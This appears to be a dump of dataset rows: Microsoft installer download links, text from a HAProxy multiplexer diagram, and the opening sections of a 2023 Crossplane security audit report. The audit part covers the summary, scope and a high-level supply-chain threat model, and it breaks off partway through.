-4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.fr -fr.msi \\nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \\nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \\nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabr icTools.VS140.ko -kr.msi \\nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/ MicrosoftAzureServiceFabricTools.VS140.ru -ru.msi \\nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C-4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.zh -cn.msi \\nhttps://download.microsoft.com/do wnload/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.z h-tw.msi \\n \"\n }\n]"}}},{"rowIdx":39456,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"muxes.pdf\",\n \"project_name\": \"HAProxy\",\n \"subcategory\": \"Service Proxy\"\n}"},"content":{"kind":"list like","value":[{"data":"Transport\nI/O taskletapplication\nmux−>subscribe(SUB_RECV)\nMUX\nStream IDStream ID\ntasklet_wakeup() tasklet_wakeup()mux−>snd_buf()mux−>rcv_buf()\nxprt−>snd_buf(mbuf)xprt−>rcv_buf(dbuf)HTX contents when mode==HTTPtasklet_wakeup() tasklet_wakeup()\nmux−>subscribe(SUB_SEND)mux streams mux=conn−>mux\nTransport\nencoding/decoding function\ntransport layer multiplexer (MUX/DEMUX)general processing function\nstream buffer (byte−level FIFO)xprt−>subscribe(SUB_RECV) xprt−>subscribe(SUB_SEND)stconn\n(eg: checks, streams)connection = sc−>sedesc−>connNotes:\nsnd_buf() will move the\nbuffer (zero−copy) when\nthe destination is empty.\n− the application is also\nis sc−>app with sc−>app_ops\n− transport layers (xprt) are\nstackable. conn−>xprt is\nthe topmost one.called the app layer and− mux−>rcv_buf() and\nencode encode encode encode\ndecode decode decode decode\nmux_io_cb mux_io_cbsc_conn_io_cb\nchannel bufrxbuf\ndbufmbuf DEMUX"}],"string":"[\n {\n \"data\": \"Transport\\nI/O taskletapplication\\nmux−>subscribe(SUB_RECV)\\nMUX\\nStream IDStream ID\\ntasklet_wakeup() tasklet_wakeup()mux−>snd_buf()mux−>rcv_buf()\\nxprt−>snd_buf(mbuf)xprt−>rcv_buf(dbuf)HTX contents when mode==HTTPtasklet_wakeup() tasklet_wakeup()\\nmux−>subscribe(SUB_SEND)mux streams mux=conn−>mux\\nTransport\\nencoding/decoding function\\ntransport layer multiplexer (MUX/DEMUX)general processing function\\nstream buffer (byte−level FIFO)xprt−>subscribe(SUB_RECV) xprt−>subscribe(SUB_SEND)stconn\\n(eg: checks, streams)connection = sc−>sedesc−>connNotes:\\nsnd_buf() will move the\\nbuffer (zero−copy) when\\nthe destination is empty.\\n− the application is also\\nis sc−>app with sc−>app_ops\\n− transport layers (xprt) are\\nstackable. conn−>xprt is\\nthe topmost one.called the app layer and− mux−>rcv_buf() and\\nencode encode encode encode\\ndecode decode decode decode\\nmux_io_cb mux_io_cbsc_conn_io_cb\\nchannel bufrxbuf\\ndbufmbuf DEMUX\"\n }\n]"}}},{"rowIdx":39457,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"ADA-security-audit-23.pdf\",\n \"project_name\": \"Crossplane\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"PRESENTS \nC r o s s p l a n e\ns e c u r i t y\na u d i t\nIn\ncollaboration\nwith\nthe\nCrossplane\nmaintainers,\nOpen\nSource\nTechnology\nImprovement\nFund\nand\nThe\nLinux\nFoundation\nAuthors\nAdam\nKorczynski\n<\nadam@adalogics.com\n>\nDavid\nKorczynski\n<\ndavid@adalogics.com\n>\nDate:\n27th\nJuly\n2023\nThis\nreport\nis\nlicensed\nunder\nCreative\nCommons\n4.0\n(CC\nBY\n4.0)\nT able\nof\ncontents\nTable\nof\ncontents\n2\nExecutive\nsummary\n3\nAudit\nScope\n5\nThreat\nmodel\nformalisation\n6\nThreat\nactors\n12\nAttacker\nobjectives\n13\nCluster\nhardening\n15\nFuzzing\n17\nIssues\nfound\n19\nSLSA\n45Ex ecutive\nsummary\nThis\nreport\ncontains\nthe\nresults\nfrom\nCrossplaneʼs\n2023\nsecurity\naudit\ncarried\nout\nby\nAda\nLogics.\nThe\naudit\nwas\nfunded\nby\nthe\nCloud\nNative\nComputing\nFoundation\nand\nwas\nfacilitated\nby\nthe\nOpen\nSource\nTechnology\nImprovement\nFund.\nThe\nengagement\nwas\na\ntime-based,\nholistic\nsecurity\naudit\nthat\nhad\nthe\nfollowing\nhigh-level\ngoals:\n1.\nFormalise\na\nthreat\nmodel\nof\nCrossplane\n2.\nCarry\nout\na\nmanual\ncode\naudit\nof\nCrossplane\n3.\nReview\nCrossplaneʼs\nfuzzing\nsuite\nagainst\nthe\nthreat\nmodel\nfrom\ngoal\n#1\n4.\nReview\nCrossplaneʼs\nSLSA\ncompliance\nDuring\nthe\nthreat\nmodelling\ngoal,\nwe\nfound\nthat\nthe\ncontainer\nimage\nregistry\nrepresented\na\nsignificant\nattack\nsurface\nfor\nCrossplane.\nThis\nguided\nthe\nwork\nin\ngoals\n#2\nand\n#3\nto\nconsider\na\nspecific\nset\nof\nattacks\nthat\nhave\nreceived\nincreased\nattention\nin\nrecent\nyears:\nSupply\nchain\nattacks.\nThe\nfindings\nfrom\nthe\nthreat\nmodelling\ncombined\nwith\nthe\nmanual\ncode\nauditing\ngoal\nresulted\nin\nseveral\nfindings\nfrom\nthe\nsupply\nchain\nclass\nof\nvulnerabilities\nthat\nwere\nreachable\nfrom\nthe\ncontainer\nimage\nregistry.\nTwo\nof\nthe\nissues\nwere\nassigned\nCVEs\nwith\nLow\nand\nHigh\nseverity.\nAt\nthe\ncompletion\nof\nthe\naudit,\nCrossplane\nhas\nfixed\nall\nissues\nexcept\nfor\na\nsingle\none\nwhich\nimpacts\nan\nalpha\nfeature.\nAda\nLogics\nadded\n4\nfuzzers\nto\nCrossplaneʼs\nfuzzing\nsuite.\nThese\nfuzzers\ntarget\nparts\nof\nCrossplane\nthat\nwe\nfound\nto\nbe\nexposed\nfrom\nattacks\nto\nthe\nregistry\nduring\nthe\nthreat\nmodelling\ngoal\nof\nthe\naudit.\nWe\nadded\nthe\nfuzzers\nto\nthe\npackages\nthat\nthey\ntarget\nin\nthe\nCrossplane\nrepository.\nCrossplane\nis\nintegrated\ninto\nOSS-Fuzz\nin\nsuch\na\nway\nthat\nall\nfuzzers\nfrom\nthe\nCrossplane\nand\nCrossplane-runtime\nrepositories\nare\nincluded\nduring\nOSS-Fuzz\nbuild\ncycles.\nAs\nsuch,\nthe\nfuzzers\nwe\nadded\nin\nthis\naudit\nrun\ncontinuously\nas\nwell\nas\nin\nCrossplaneʼs\nCI.\nThe\nSLSA\ngoal\nof\nthe\naudit\nfound\nthat\nCrossplane\nperforms\nwell\non\nall\naccounts\nexcept\nfor\nprovenance\ndistribution\nalong\nwith\nreleases.\nAdding\nprovenance\nwill\nallow\nadopters\nto\navoid\nissues\nin\ntheir\nsupply\nchain\nby\nverifying\nthe\nCrossplane\nartefacts\nagainst\nprovenance\nattestations.Results\nsummarised\n5\nnew\nfuzzers\nadded\nto\nCrossplaneʼs\nfuzzing\nsuite\n16\nissues\nsecurity\nfound\n2\nCVEʼs\nassigned\nAll\nissues\nminus\n1\n(in\nan\nalpha\nfeature)\nare\nfixed\nat\nthe\nend\nof\nthe\naudit\nby\nthe\nCrossplane \nteamProject\nSummary\nThe\nauditors\nof\nAda\nLogics\nwere:\nName\nTitle\nEmail\nAdam\nKorczynski\nSecurity\nEngineer,\nAda\nLogics\nAdam@adalogics.com\nDavid\nKorczynski\nSecurity\nResearcher,\nAda\nLogics\nDavid@adalogics.com\nThe\nCrossplane\ncommunity\nmembers\ninvolved\nin\naudit\nwere:\nName\nTitle\nEmail\nPhilippe\nScorsolini\nSenior\nSo\u0000ware\nEngineer, \nUpbound\nphilippe.scorsolini@upbound.io\nJared\nWatts\nCommunity\nManager,\nUpbound\njared@upbound.io\nJean\ndu\nPlessis\nSenior\nEngineering\nManager, \nUpbound\njean@upbound.io\nNic\nCope\nSenior\nPrincipal\nEngineer, \nUpbound\nnegz@upbound.io\nThe\nfollowing\nfacilitators\nof\nOSTIF\nwere\nengaged\nin\nthe\naudit:\nName\nTitle\nEmail\nDerek\nZimmer\nExecutive\nDirector,\nOSTIF\nDerek@ostif.org\nAmir\nMontazery\nManaging\nDirector,\nOSTIF\nAmir@ostif.org\nAudit\nScope\nThe\nfollowing\nassets\nwere\nin\nscope\nof\nthe\naudit.\nRepository\nhttps://github.com/crossplane/crossplane\nLanguage\nGo\nRepository\nhttps://github.com/crossplane/crossplane-runtime\nLanguage\nGoThreat\nmodel\nformalisation\nIn\nthis\nsection,\nwe\npresent\nthe\nthreat\nmodelling\nwe\ndid\nas\npart\nof\nthe\naudit.\nThreat\nmodelling\nis\na\nprocess\nto\nidentify\npotential\nsecurity\nrisks\nor\nthreats\nto\na\nsystem.\nWe\nanalysed\nCrossplaneʼs\ncomponents,\ndata\nflows\nand\nattack\nvectors\nto\nidentify\nhow\nthreat\nactors\ncould\nseek\nto\ncompromise\nCrossplane\nand\nwhich\ngoals\nthey\nwould\nattempt\nto\nachieve.\nDuring\nthe\naudit,\nthreat\nmodelling\nprogressed\nalongside\nother\nefforts;\nWe\nstarted\nwith\nan\ninitial\nthreat\nmodel\nof\nthe\nassets\nin\nscope,\nand\nas\nthe\naudit\nprogressed,\nthe\nmanual\nauditing\ncontributed\nto\na\nclearer\nunderstanding\nof\nthe\nthreat\nmodel.\nVice\nversa,\nthe\nthreat\nmodelling\ncontributed\nto\nidentifying\nmore\nsecurity\nissues\nin\nCrossplaneʼs\ncode\nbase.\nThe\naudit\ndrew\norganically\ntowards\nthe\nthreats\nfrom\nCrossplaneʼs\nsupply\nchain\nattack\nvectors.\nThe\naudit\nwas\nnot\na\ndedicated\nsupply\nchain\naudit,\nhowever,\nwe\nfound\nthis\nvector\nto\nbe\nimportant\nand\nexposed\nto\nCrossplane.\nCrossplane\nhas\nmany\ncharacteristics\nof\na\npackage\nmanager\nconsidering\nDebians\ndefinition:\n“\nA\npackage\nmanager\nkeeps\ntrack\nof\nwhat\nso\u0000ware\nis\ninstalled\non\nyour\ncomputer,\nand\nallows\nyou\nto\neasily\ninstall\nnew\nso\u0000ware,\nupgrade\nso\u0000ware\nto\nnewer\nversions,\nor\nremove\nso\u0000ware\nthat\nyou\npreviously\ninstalled.\nAs\nthe\nname\nsuggests,\npackage\nmanagers\ndeal\nwith\npackages:\ncollections\nof\nfiles\nthat\nare\nbundled\ntogether\nand\ncan\nbe\ninstalled\nand\nremoved\nas\na\ngroup.\n”\nhttps://www.debian.org/doc/manuals/aptitude/pr01s02.en.html\nCrossplane\nhas\nall\nof\nthese\nqualities\nwhich\nmakes\nit\nan\nideal\ntarget\nfor\nsupply\nchain\nattacks.\nPackage\nmanagers\nare\nresponsible\nfor\nfetching\nso\u0000ware\npackages\nfrom\ninternal\nor\nremote\nsources\nand\ninstalling\nthem\nin\nan\nenvironment\nso\nthat\nthey\ncan\nbe\nexecuted\nlater.\nThis\nis\nby\ndefault\nan\nexposed\nattack\nsurface\nsince\nattackers\nhave\na\nwide\nrange\nof\ntechniques\nand\ntactics\nat\ntheir\ndisposal\nto\ncomprise\nthe\npackage\nmanager\nitself\nor\nits\nusers.\nWe\nsee\nCrossplane\nas\na\npackage\nmanager\nfor\ncontainer\nimages.\nCrossplane\nfetches\nthe\nimages\nfrom\nremote\nsources.\nOver\nthe\nlast\nfew\nyears\nthe\nsecurity\ncommunity\nhas\nformalised\na\nseries\nof\nattack\nvectors\nfor\nso\u0000ware\nsystems\nthat\nhandle\ncontainer\nimages\nfrom\nremote\nsources\nwhich\nwe\nhave\nincluded\nin\nthe\nthreat\nmodel\nbelow.\nA\u0000er\nwe\nenumerate\nthe\nattack\nvectors,\nwe\ndetail\nhow\nattackers\ncan\nput\nthemselves\nin\na\nposition\nto\nlaunch\nan\nattack\nthrough\nthis\nattack\nvector.\nWe\nfinally\npresent\nthe\nthreat\nactors\nand\ntheir\nobjectives\nthat\ncould\nseek\nto\nexploit\nsecurity\nholes\nin\nCrossplane.Supply\nchain\nattacks\nIn\nrecent\nyears,\nmuch\nwork\nhas\nbeen\nput\ninto\nidentifying\nhow\nattackers\ncan\nseek\nto\ncompromise\nthe\nso\u0000ware\nsupply\nchain.\nKnown,\nhigh-impact\nattacks\nfrom\nsuccessful\ncompromises\nof\nusersʼ\nso\u0000ware\nsupply\nchain\nhave\nsparked\nan\ninterest\nin\nunderstanding\nthis\nattack\nvector\nwhich\nhas\nled\nthe\ncommunity\nto\nformalising\na\nseries\nof\nsupply\nchain\nspecific\nthreats\nagainst\nso\u0000ware\nsystems\nthat\nconsume\n3rd-party\nso\u0000ware\npackages.\nCrossplane\nboth\nconsumes\n3rd-party\npackages\nbut\nalso\nimplements\ninfrastructure\nthat\nfacilitates\nthe\nlifecycle\nof\nconsuming\n3rd-party\nso\u0000ware\npackages\nfor\nthe\nuser.\nBoth\nsides\nare\ncritical\nto\nharden\nagainst.\nEndless\ndata\nattack\nAn\nattack\nwhere\nan\nattacker\ntricks\na\nclient\ninto\ndownloading\nan\nendless\nstream\nof\ndata\nwhen\nthe\nclient\nrequests\nit.\nThe\nresulting\nimpact\nis\nthat\nthe\nmachine\non\nwhich\nthe\nclient\nis\nrunning\nwill\nrun\nindefinitely\nwithout\ncompleting\nthe\ntask\nthus\npreventing\nthe\nservice\nfrom\ncarrying\nout\nother\ntasks.\nCrossplane\nis\nexposed\nto\nthis\nattack\nvector\nin\ncase\nan\nattacker\ncan\ncompromise\nthe\nregistry\nfrom\nwhich\nCrossplane\nfetches\nimages.\nRollback\nattacks\nA\nrollback\nattack\nis\nwhere\na\nthreat\nactor\ncan\ntrick\na\nclient\ninto\ninstalling\nolder\nversions\nof\na\ngiven\nso\u0000ware\nartefact.\nThe\nactor\nwould\nbe\ninterested\nin\ndoing\nthis\nin\ncase\nthey\nknew\nabout\nvulnerabilities\nin\nolder\nversions\nof\na\nso\u0000ware\nartefact.\nThey\nwould\nthen\nprevent\nupdates\nof\nthe\nartefact\nand\nexploit\nthe\nvulnerabilities\nof\nthe\nold\nversion.\nCrossplane\nusers\nspecify\nimages\nby\neither\ntags\nor\ndigests.\nSpecifying\nan\nimage\nwith\na\ndigest\nis\nthe\nbest\nsecurity\npractice,\nhowever,\nif\nan\nattacker\ncompromises\nthe\nregistry,\nthey\nmay\nbe\nable\nto\ntamper\nwith\nthe\nimage\nif\nCrossplane\nlacks\nvalidation\nagainst\nthe\nrequested\ndigest.\nFreeze\nattacks\nThis\nis\nan\nattack\nwhere\nan\nactor\nprevents\na\nclient\nfrom\nupdating\nso\u0000ware\nartefacts.\nThe\nthreat\nactor\ndoes\nthis\nby\npresenting\nfiles\nto\nthe\nclient\nthat\nthe\nclient\nis\nalready\naware\nof\nand\nis\ntricked\ninto\nconcluding\nthat\nthere\nis\nno\nupdate\nto\nthe\nartefact.\nA\nfreeze\nattack\ncan\nbe\nenabled\nby\na\nvulnerability\nthat\nallows\nthe\nactor\nto\ncarry\nout\na\nMan-in-the-Middle\nattack,\nwhere\nthe\nactor\nintercepts\nrequests\nbetween\nthe\nclient\nand\nthe\ncentral\nrepository\nwhen\nthe\nclient\nchecks\nfor\nupdates.\nTo\nupdate\na\nCrossplane\npackage,\nusers\nare\nrequired\nto\nmanually\nupdate\nmanifest\nfiles\nwhich\nwill\nprompt\nCrossplane\nto\npull\nthe\nnew\npackage.\nAn\nattacker\nwho\ncan\nblock\nupgrades\nwill\nbe\nable\nto\nlaunch\na\nfreeze\nattack\nagainst\nCrossplane.\nArbitrary\npackage\nattacks\nAn\narbitrary\npackage\nattack\nis\nwhere\nan\nattacker\ncan\ntrick\na\nclient\ninto\ndownloading\na\nso\u0000ware\nartefact\nof\nthe\nattackers\nchoice.\nIn\na\nsuccessful\narbitrary\npackage\nattack,\nthe\nclient\nwill\nnot\nbe\naware\nthat\nit\ndownloaded\nthe\nwrong\nartefact.\nThere\nare\nseveral\nways\nanattacker\ncould\nattempt\nthis\nagainst\nCrossplane:\nImage\ntampering\nis\none\nway\nsince\na\nmaliciously\nmodified\nimage\ncould\nbe\nconsidered\nan\narbitrary\npackage.\nAttackers\ncould\nalso\nseek\nto\ncompromise\nthe\ndependencies\nof\nCrossplane\npackages\nsince\nCrossplane\npulls\ndependencies\nwhen\ninstalling\nCrossplane\npackages.\nTyposquatting\nattacks\nA\ntyposquatting\nattack\nis\nwhen\nan\nattacker\ntricks\na\nclient\ninto\ndownloading\nmalicious\nso\u0000ware\nartifacts\nby\ntyping\na\nname\nthat\nclosely\nresembles\nthe\nsafe\nartifacts\nname\nbut\nis\nstill\ndifferent.\nTyposquatting\nattacks\nare\nhard\nfor\nCrossplane\nto\nharden\nagainst,\ngiven\nthat\nCrossplane\ntrusts\nthe\npackage\nname.\nCrossplane’s\nsupply\nchain\nattack\nvectors\nAn\nattacker\ncan\ntake\nseveral\npositions\nto\nlaunch\na\nsupply\nchain\nattack.\nIn\nthis\npart,\nwe\npresent\nhow\nan\nattacker\ncould\nobtain\nsuch\na\nposition.\nCompromising\nthe\nregistry\nAn\nattacker\ncan\ncompromise\nthe\nregistry\nand\ncontrol\nthe\ndata\nthe\nregistry\nresponds\nto\nrequests\nmade\nto\nit.\nThis\nlevel\nof\ncompromise\nallows\nthe\nattacker\nto\nreturn\nany\ndata\nto\nCrossplane.\nCompromising\nthe\npackage\nin\nthe\nregistry\nAn\nattacker\ncan\ncompromise\nthe\npackage\nthat\nexists\nin\nthe\nregistry.\nThis\nrequires\nthe\nattacker\nto\ncompromise\neither\nthe\nregistry\nitself\nor\nthe\nmaintainer\nof\nthe\npackage.\nA\nsuccessful\nattack\nwould\nrequire\nthat\nneither\nthe\nuser\nnor\nthe\npackage\nmanager\nvalidate\nthe\npackage\nat\ndownload\ntime.\nThis\ncould\nfor\nexample\nbe\nenabled\nby\ncompromising\nthe\nvendor\naccount\nthat\nuploads\nand\nmanages\na\ngiven\npackage\nat\nthe\nregistry.\nCompromising\nthe\ninfrastructure\ndelivering\nthe\npackage\nAn\nattacker\ncan\ncompromise\nthe\ninfrastructure\ndelivering\nthe\npackage\nto\nCrossplane.\nThere\nare\ntwo\nimportant\npieces\nof\ninfrastructure\nto\nCrossplane\nin\nthis\nattack\nvector:\n1.\nThe\ncloud\nprovidersʼ\ninfrastructure.\nAn\nattacker\ncould\ncompromise\nthe\ncloud\nproviders\ninfrastructure\nto\nget\naccess\nto\nthe\nusers\ncluster.\n2.\nCrossplaneʼs\ngo-containerregistry\ndependency.\nCrossplane\nrelies\non\nthe\ngithub.com/google/go-containerregistry\nlibrary\nto\nfetch\nimages.\nVulnerabilities\nin\ngo-containerregistry\nthat\nCrossplane\ncan\nreach\ncould\nimpact\nCrossplane\nin\nthe\nsame\nmanner\nas\nif\nthe\ncode\nlived\nin\nCrossplaneʼs\nown\nrepository.Crossplane\nthreat\nscenario\nIn\nthis\nsection,\nwe\nexemplify\nthe\nabove\nobservations\nwith\na\nthreat\nscenario.\nThe\npurpose\nis\nto\nconsider\na\ntangible\nseries\nof\nobservations\nthat\nan\nattacker\nwould\nmake\nto\nlook\nfor\nvulnerabilities\nto\nexploit\nin\nCrossplane.\nThe\nprevious\nsections\nin\nour\nthreat\nmodelling\nhave\ntaken\na\nhigh-level\napproach,\nand\nthis\nsection\naims\nto\nmake\nthese\nmore\ntangible\nwith\nan\nexample\nthreat\nscenario.\nCrossplane\ninfrastructure\nteams\nmanage\npackages\nthrough\ncontainer\nimage\nreferences.\nThe\ninfrastructure\nteam\nwill\ninput\na\nreference\nto\nCrossplane\nwhich\nwill\nthen\ndownload\nan\nimage\nfrom\na\nregistry\nspecified\nin\nthe\nreference.\nFor\nexample,\nwhen\ncreating\na\nProvider\nor\nConfiguration,\nthe\nuser\nwill\nspecify\na\npackage\nwhich\nis\nthe\nimage\nreference:\nhttps://pkg.go.dev/github.com/crossplane/crossplane/apis/pkg/v1beta1#PackageRevisionSpec\nThe\nCrossplane\nrevision\ncontroller\nwill\nfetch\nthe\nimage\ndefined\nin\nthePackageSpec\nfrom\nits\nregistry.\nAs\nsuch,\nwhen\nCrossplane\ndeals\nwith\ncontainer\nimages,\nthere\nare\ntwo\ninputs\nto\nCrossplane\none\nof\nwhich\nthe\nCrossplane\nadmin\ncontrols,\nand\none\nof\nwhich\nthe\nadmin\ndoes\nnot\ncontrol.\n1.\nThe\ninfrastructure\nteam\ninputs\nthe\nimage\nreference\nto\nCrossplane.\nIn\nthis\nstep,\nthere\nis\nno\nchange\nin\ntrust.\n2.\nCrossplane\nsends\na\nrequest\nto\nthe\nregistry\nwhich\nresponds\nwith\nthe\nCrossplane\npackage.\nIn\nthis\nstep,\nthe\ntrust\nflows\nhigh\nto\nlow\nwhen\nCrossplane\nsends\nthe\nrequest\nto\nthe\nregistry\nand\nlow\nto\nhigh\nwhen\nthe\nregistry\nresponds\nwith\nthe\npackage:\nIn\nthis\nworkflow,\nCrossplane\nexpects\nthe\nregistry\nto\ncorrectly\nand\nsafely\nhandle\nthe\nrequest\nfrom\nCrossplane\nto\nthe\nregistry\nand\nto\nreturn\nthe\ncorrect\nimage\nbased\non\nthe\nreference.\nEven\nif\nthe\ninfrastructure\nteam\nhas\nspecified\nthe\ncorrect\nimage\nreference\nusing\na\ndigest\nwhich\nis\nmore\nsecure,\nthe\nattack\nsurface\nfrom\nthe\nregistry\nexists.\nFor\nexample,\nif\nan\nattacker\nhas\ncompromised\nthe\nregistry,\nthey\ncan\nchoose\nto\nignore\nthe\ndigest\nand\nreturn\nan\narbitrary\ndata\nblob\nto\nCrossplane.\nThis\nmakes\nthe\nregistry\nan\nideal\ntarget\nfor\nsupply\nchain\nattacks.\nAttackers\nwill\nlook\nfor\nways\nto\ncompromise\nregistries\nas\nwell\nas\nmissing\nhardening\nin\nCrossplaneʼs\nPackage\nfetching\nroutines.\nIf\nan\nattacker\nhas\ncompromised\nthe\nregistry,\nthey\ncan\npotentially\nfully\ncontrol\nthe\npackage\nthat\nCrossplane\nreturns.\nIn\nthis\nscenario,\nCrossplane\nshould\nbe\nhardened\nagainst\nevery\npossible\nattack\nvector\nfrom\nthe\nregistry,\nwhich\nincludes\nthe\nsupply\nchain\nattacks\nlisted\nabove\nas\nwell\nas\nnon-supply\nchain-specific\nprivilege\nescalations.\nCrossplane\nClaims\nClaims\nin\nCrossplane\nare\ndeclarative\nrequests\nfor\na\ngiven\ncloud\nresource\nor\nservice.\nThey\nallow\nPlatform\nEngineers\nto\ndefine\nthe\nspecific\nresources\nthat\ndevelopers\ncan\nprovision\nand\naccess,\nwhile\nalso\nallowing\ndevelopers\nto\ndefine\ntheir\ndesired\ncharacteristics\nand\nparameters\nfor\nthose\npermitted\nresources.\nWhen\na\nuser\nmakes\na\nclaim,\nCrossplane\nprovisions\nand\nmanages\nthe\nrequested\nresources\nbased\non\nthe\nprovided\nspecifications.\nThis\nseparation\nof\nconcerns\nis\na\nmajor\nadvantage\nof\nCrossplane\nwhich\nis\nintended\nto\nallow\nsafe\nself-service\nprovisioning\nof\nresources\nby\ndevelopers.\nA\nvital\nsecurity\nassumption\nfor\nclaims\nis\nthat\nusers\nconsume\nthe\nresources\nthat\nthey\nbelieve\nthey\nconsume.\nIf\nan\nattacker\ncan\ncause\nthat\nassumption\nto\nbe\nwrong,\nthey\ncan\nobtain\nan\nadvantageous\nsecurity\nposition.\nFor\nexample,\na\nthreat\nactor\ncould\ninterfere\nwith\nhow\nCrossplane\nhandles\nclaims\nto\nattempt\nto\ntamper\nwith\nthe\nresource\nthat\nthe\nuser\nis\nexpecting.\nBy\ncausing\nCrossplane\nto\nsupply\na\ndifferent\nresource\nthan\nthe\nrequested\none,\nthe\nthreat\nactor\nwould\nbe\nable\nto\nbreach\nthe\nsecurity\nof\nCrossplane.\nA\nserious\nbreach\nrelated\nto\ncomposite\nresources\nis\nthe\ncase\nwhere\na\nuser\n-\nwho\nis\nnot\na\ncluster\nadmin\n-\ncan\nassume\nthe\nrole\nof\nthe\nplatform\nteam\nand\nobtain\nprivileges\nto\nconfigure\nthe\nCompositeResourceDefinitions\nof\nthe\ncluster.\nThis\ncould\nlead\nto\nfull\ncluster\nbreach\nas\nthe\nthreat\nactor\ncould\nreplace\nexisting\nCompositeResourceDefinitions\nwith\nmalicious\nones\nor\nadd\nnew\nCompositeResourceDefinitions\nthat\ncould\nbe\nused\nto\nfurther\nescalate\nprivileges.\nThis\nattack\nvector\nis\nparticularly\nsevere\nif\nthe\nuser\ncan\ndo\nthis\nby\nway\nof\na\nclaim\nsince\nclaims\nare\nthe\nAPI\nthat\nlimited\nprivilege\nusers\nare\nmeant\nto\nuse\nand\nmust\nbe\nsecured\nagainst\nprivilege\nescalations.Threat\nactors\nA\nthreat\nactor\nis\nan\nindividual\nor\ngroup\nthat\nintentionally\nattempts\nto\nexploit\nvulnerabilities,\ndeploys\nmalicious\ncode,\nor\ncompromise\nor\ndisrupt\na\nCrossplane\ndeployment,\no\u0000en\nfor\nfinancial\ngain,\nespionage,\nor\nsabotage.\nWe\nidentify\nthe\nfollowing\nthreat\nactors\nfor\nCrossplane.\nA\nthreat\nactor\ncan\nassume\nmultiple\nprofiles\nfrom\nthe\ntable\nbelow;\nfor\nexample,\na\nfully\nuntrusted\nuser\ncan\nalso\nbe\na\ncontributor\nto\na\n3rd-party\nlibrary\nused\nby\nCrossplane.\nActor\nDescription\nHave\nalready \nescalated\nprivileges\nFully\nuntrusted \nusers\nUsers\nthat\nhave\nnot\nbeen\ngranted\nany\nprivileges.\nNo\nPlatform\nauthors\nUsers\nthat\nare\nresponsible\nfor\nconfiguring\nCrossplane,\ne.g.,\ninstalling\nproviders/configurations,\ncreating\ncompositions,\nsetting\nup\ncloud\ncredentials,\netc.\nNo\nPlatform\nconsumers\nApp\ndevelopers\nwho\nconsume\nthe\nplatform\nAPI\nthrough\nclaims.\nThey\nhave\nlimited\npermissions\nvia\nRBAC.\nThey\ndo\nnot\nhave\npermission\nto\ninstall\na\nprovider\nfor\nexample.\nNo\nContributors\nto \n3rd-party\ndependencies\nContributors\nto\ndependencies\nused\nby \nCrossplane.\nNo\nWell-funded \ncriminal\ngroups\nOrganised\ncriminal\ngroups\nthat\no\u0000en\nhave \neither\npolitical\nor\neconomic\ngoals.\nNoAttacker\nobjectives\nIn\nthis\nsection,\nwe\nenumerate\ncommon\nobjectives\nobserved\nin\nthe\nwild\namongst\nattacks\nagainst\ncloud-native\nsystems\nthat\napply\nto\nCrossplane.\nSteal\ncompute\npower\nThreat\nactors\nmay\nseek\nto\ncompromise\na\nCrossplane\ndeployment\nto\nsteal\ncomputational\nresources.\nThis\nis\na\ncommon\nattack\nvector\nfor\ncloud-based\ninfrastructure,\nand\nthere\nare\nnumerous\nexamples\nof\nsuch\nattacks\nin\nthe\nwild\n1\n2\n.\nThe\nattacker\nwill\no\u0000en\nattempt\nto\ngenerate\nnew\nworkloads\nthat\nrun\ncryptominers.\nAttackers\nwill\no\u0000en\nuse\nthe\nMonero\ncrypto\nminers,\nsince\nthere\nare\nmany\nimages\navailable\npublicly\nto\ndeploy\nMonero\nmining\nworkloads\n3\n.\nFurther\nprivilege\nescalation\nAttackers\nlook\nfor\nvulnerabilities\nthat\ncan\nallow\nthem\nto\nfurther\nmanifest\ntheir\nposition\neven\na\u0000er\nhaving\nalready\nelevated\ntheir\nprivileges.\nOne\nway\nis\nto\nextend\nthe\ntimeframe\nof\nthe\nelevated\nposition\nby\nfinding\na\nway\nto\nmaintain\ntheir\nposition\neven\na\u0000er\nthe\ninitial\nvulnerability\nhas\nbeen\npatched.\nAt\nthe\ntime\nof\nthis\naudit,\nattackers\nare\nactively\nleveraging\nmisconfigurations\nin\nRBAC\nto\ngain\na\nfoothold\ninto\nKubernetes\nclusters\nin\nthe\nwild\nand\nobtain\npersisted\nelevated\nprivileges\n4\n.\nAnother\nway\nthe\nattacker\ncould\nseek\nto\nfurther\ntheir\nposition\nis\nby\nway\nof\nhorizontal\nprivilege\nescalation.\nThis\ncould\nbe\ndone\nby\nattacking\nother\nusers\nof\nthe\nCrossplane\ndeployment\nto\nrun\ncode\non\nthe\nvictims\nmachine,\nsteal\nsecrets,\npretend\nto\nbe\nthe\nvictim\nin\nother\nattacks,\nor\nsomething\nelse.\nA\ndesirable\ngoal\nfor\nany\nattack\nis\nto\nescalate\nprivileges\nall\nthe\nway\nto\nroot.\nAs\nsuch,\nan\nattacker\ncan\nseek\nto\nchain\nvulnerabilities\nstarting\nwith\na\nlow-impact\nvuln\nand\nescalate\nhorizontally\nwith\nother\nhigher-impact\nvulns\nthat\nrequire\nexisting\nprivileges\nto\nexploit.\nDenial\nof\nservice\nAttackers\nmay\nseek\nto\ngain\na\ncompetitive\nadvantage\nby\nlaunching\ndenial-of-service\nattacks\nagainst\nCrossplane\ndeployments.\nThe\nmotivation\nhere\ncould\nbe\nfinancial\nor\nto\ndisrupt\na\ncompetitor's\nresearch\nand\ndevelopment\nefforts.\nDenial\nof\nservice\nattacks\ncan\nalso\ndamage\nthe\nusers\nreputation\nor\nput\nthe\nusers\nin\na\nposit